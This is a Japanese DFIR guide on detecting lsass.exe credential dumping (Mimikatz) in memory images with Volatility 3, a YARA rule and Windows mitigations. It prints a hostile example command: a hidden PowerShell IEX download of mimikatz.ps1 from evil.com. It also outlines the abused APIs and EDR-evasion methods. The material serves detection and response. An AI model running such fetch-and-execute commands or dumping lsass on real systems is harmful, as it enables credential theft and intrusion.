【テクニカル・上級編】 メモリ上のパスワード・クレデンシャルダンプ（Mimikatz痕跡）の特定 – インシデントレスポンス & フォレンジック（DFIR）防御ガイド

序文：なぜ我々はまだ lsass.exe のダンプに怯えているのか

インシデントレスポンスの現場において、アラートが鳴り響く瞬間というのはいつだって泥臭い。EDRから「不審なプロセスアクセス：lsass.exe がオープンされました」という通知が飛んできた時、私たちの脳裏には瞬時に最悪のシナリオがよぎる。――まただ。またMimikatzか、あるいはその変種か。

現代のセキュリティアーキテクチャにおいて、エンドポイントの多層防御は高度化している。しかし、Windowsのアーキテクチャそのものが持つ「歴史的遺産」と、OSが動的にクレデンシャルを管理しなければならないという根本的な矛盾を突く攻撃手法の前には、いまだに多くの組織が無防備に膝を屈している。

本稿では、メモリフォレンジックの最前線に立ち続けるプロフェッショナルの視点から、lsass.exe を標的としたクレデンシャルダンプの痕跡をメモリイメージから完全に暴き出し、被害の全貌を特定するための実務的な手法と、その低レイヤのメカニズムを徹底的に解説する。教科書的な「アンチウイルスを入れましょう」というアドバイスは一切しない。私たちが向き合うのは、カーネルの深部で行われている静かなる乗収奪劇そのものなのだ。

—

1. 根本原因：なぜ lsass.exe は常に攻撃者のゴールドラッシュなのか

Local Security Authority Subsystem Service（lsass.exe）は、Windowsセキュリティの要である。ユーザーのログオン検証、パスワードハッシュの管理、Kerberosチケットの処理、Active Directoryとのセキュアな通信の維持――これらすべてをこの単一のユーザモードプロセスが担っている。

問題の根源は、Windowsの設計思想にある。OSは、ユーザーがネットワーク上のリソースにアクセスしたり、シングルサインオン（SSO）をシームレスに行ったりするために、認証情報（NTLMハッシュやKerberos TGTなど）をメモリ上に「平文に近い状態（あるいは容易に復元可能な形式）」でキャッシュし続けなければならない。

ミニダンプ生成のメカニズムとAPIの悪用

攻撃者は、メモリ上のクレデンシャルにアクセスするために、主に以下のWindows APIを悪用する。

1. OpenProcess: 対象の lsass.exe プロセスに対するハンドルを取得する。この際、必要なアクセス権として PROCESS_VM_READ（メモリ読み取り）や PROCESS_QUERY_INFORMATION が要求される。
2. MiniDumpWriteDump (Dbghelp.dll): プロセス全体のメモリ空間を指定したファイルやストリームに書き出す。

現代のEDRやセキュリティ製品は、OpenProcess 時に lsass.exe に対して PROCESS_VM_READ を要求する挙動を監視し、シグネチャや振る舞い検知でブロックを試みる。しかし、攻撃者はすでにこの「正面突破」の先を行っている。デュアルユースツールの悪用、EDRのフックをバイパスするダイレクトシステムコール、さらにはカーネルドライバを持ち込んでEDRの動作自体を無効化するBYOVD（Bring Your Own Vulnerable Driver）攻撃など、手口は常に進化しているのだ。

—

2. メモリフォレンジックによる痕跡の特定：Volatily 3 を用いた解析アプローチ

エンドポイントが侵害され、ライブレスポンスの段階を過ぎてメモリイメージ（.raw または .dmp）が手元に残されたとき、私たちが取るべきアプローチは「何が盗まれたか」の特定だ。攻撃者は痕跡を消そうとログをクリアするが、物理メモリ（RAM）は嘘をつかない。

ここでは、オープンソースのメモリフォレンジックフレームワークである Volatility 3 を用いて、lsass.exe に対する不正アクセスの痕跡と、ダンプツールの実行痕跡を暴く手順を解説する。

ステップ1：プロセスの生存確認と不審なハンドルの列挙

まずは、侵害当時のプロセスツリーを確認し、lsass.exe に対して通常とは異なるアクセスを行ったプロセスを特定する。

# ボラティリティ3を使用して実行中のプロセス一覧を取得する
python3 vol.py -f memdump.raw windows.pslist

この出力から lsass.exe のプロセスID（PID）を特定する。仮にPIDが 680 であったとする。次に、どのプロセスがこの lsass.exe のハンドルを保持しているか、あるいは過去にオープンした痕跡がないかを調査する。

# lsass.exeに対するハンドルを保持しているプロセスを特定する
python3 vol.py -f memdump.raw windows.handles --pid 680

ここで、ObjectType が Process であり、不審なパスを持つプロセス（例えば、ユーザープロファイル配下から実行された無名のバイナリや、PowerShell等のスクリプトホスト）が lsass.exe のハンドルを掴んでいる場合、それはクレデンシャルダンプの明確な初期兆候である。

ステップ2：コマンドライン引数とプロセスの親子の矛盾を暴く

Mimikatzそのものがメモリ上に残っていなくとも、それを実行したラッパーや、難読化されたPowerShellスクリプトの痕跡はプロセスの引数やコマンドライン履歴に残存していることが多い。

# プロセス起動時のコマンドライン引数を抽出する
python3 vol.py -f memdump.raw windows.cmdline

出力結果の中に、以下のような不審な文字列が含まれていないか徹底的に精査する。

# 攻撃者がよく用いる、メモリ上で難読化・インジェクションを行うコマンドの例
powershell.exe -NoP -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/mimikatz.ps1')"

—

3. 高度なフォレンジック：ダンプされた痕跡の断片（アーティファクト）の回収

もし攻撃者がすでに lsass.exe のメモリをファイルとして書き出し、ローカルディスクに一時保存した後に持ち去っていた場合、ファイルシステムやMFT（Master File Table）の痕跡が消されていても、カーネルのプールメモリやファイルキャッシュに残存しているデータから、その断片を回収できる可能性がある。

ボラティリティを用いたプロセスメモリの抽出と解析

特定の不審なプロセスがメモリ上に展開したバイナリの断片をダンプし、静的解析にかける手法がこれだ。

# 不審なプロセスのメモリ空間をファイルとしてダンプする
python3 vol.py -f memdump.raw windows.memmap --pid 1234 --dump

出力された .dmp ファイルに対し、文字列抽出ツール（strings）やYaraスキャンを適用する。

# 抽出したダンプファイルに対してYaraルールを適用し、Mimikatzのシグネチャを検出する
yara -r /path/to/mimikatz_rules.yar pid.1234.dmp

ここでヒットするYaraルールの例を以下に挙げる。実務の現場では、単なるシグネチャだけでなく、Mimikatz特有のエクスポート関数名（sekurlsa や kuhl_m_sekurlsa_acquireHandles など）の断片がメモリ上に残っていないかを細かくチェックする。

rule Detect_Mimikatz_Strings_Memory {
    meta:
        description = "Detects Mimikatz function names and artifacts in memory dumps"
        author = "SOC Analyst Team"
        severity = "Critical"
    strings:
        $s1 = "sekurlsa" nocase ascii
        $s2 = "kuhl_m" nocase ascii
        $s3 = "lsadump" nocase ascii
        $s4 = "KerberosTicket" nocase ascii
    condition:
        any of them
}

—

4. 侵害範囲の特定：どの資格情報が抜かれたのか？

lsass.exe がダンプされた事実を確認したら、次に経営層やインシデントレスポンスチームから問われるのは、「で、どのアカウントのパスワードが盗まれたのか？」という極めて現実的な問いだ。

ダンプファイル自体が攻撃者の手に渡り、外部に持ち出された場合、そのサーバーやワークステーションで過去に認証を行ったすべてのユーザーのNTLMハッシュやKerberosチケットが漏洩したと仮定して動かなければならない。

侵害されたアカウントの範囲を特定するための監査手順

1. ダンプされたセッションの特定:
メモリダンプの解析により、どのユーザーセッションが lsass.exe 内でアクティブであったかを洗い出す。

# ログオンセッションのリストを抽出する
   python3 vol.py -f memdump.raw windows.sessions

2. NTLMハッシュとKerberosチケットの逆算:
もし攻撃者がダンプしたファイルを手元に持っている場合、オフラインでのブルートフォースやパス・ザ・ハッシュ（Pass-the-Hash）攻撃が即座に実行される。
3. 影響を受けるActive Directoryオブジェクトの特定:
該当端末でキャッシュされていた特権アカウント（Domain AdminやEnterprise Admin、あるいはサービスアカウント）のリストアップを行い、直ちにパスワードのリセットおよびKerberosチケットの強制失効（KRBTGTパスワードの2回変更を含む）を実施する。

—

5. 防御のパラダイムシフト：lsass.exe を「触らせない」ための次世代アーキテクチャ

単にEDRのシグネチャに頼るだけでは、巧妙化する攻撃者を完全に防ぐことはできない。OSの構造的脆弱性に対する本質的な対策は、lsass.exe 自体の保護レベルを極限まで引き上げるか、あるいは認証情報の管理そのものを別のレイヤに逃がすことだ。

1. 仮想化ベースのセキュリティ（VBS）と Credential Guard の強制

現代のエンタープライズ環境において、最もコストパフォーマンスが高い防衛策は Credential Guard の有効化である。
VBS（Virtualization-Based Security）を利用し、ハイパーバイザーの保護された領域（Isolated User Mode: IUM）で lsass.exe のクレデンシャル保管機能を動作させる。これにより、仮に通常のユーザースペースで最高権限（AdministratorやSystem）を奪われたとしても、カーネルメモリやIUM領域に直接アクセスしてハッシュを読み出すことは極めて困難になる。

2. 厳格なASR（Attack Surface Reduction）ルールの適用

Microsoft Defender for Endpoint等を利用している場合、以下のASRルールを必ず有効化し、監査モードからブロックモードへ移行させる必要がある。

  • *Block credential stealing from the Windows local security authority subsystem (lsass.exe)*

このルールを適用することで、公式・非公式を問わず、lsass.exe に対する不審なプロセスハンドルの要求をカーネルレベルで即座に拒否することができる。

—

結びにかえて

メモリ上でのパスワードダンプは、攻撃者にとっての「ボーナスステージ」である。一度ここに到達されてしまえば、どれほど堅牢な境界防御を築いていたとしても、内部からの正当な権限を用いた横展開（Lateral Movement）の前には無力化されてしまう。

私たちDFIRアナリストがやるべきことは、単にアラートのログを眺めて「マルウェアを駆除しました」と報告することではない。メモリという最も生々しい証拠の断片から攻撃の軌跡を復元し、どこが破られ、どの情報が外部に露出し得たのかを冷徹に突き詰めることだ。

セキュリティの敗北は、往々にして基礎的な設計のほころびから始まる。lsass.exe の挙動を制する者が、エンドポイントの安全を制する。その事実を忘れてはならない。

スポンサーリンク

コメント

タイトルとURLをコピーしました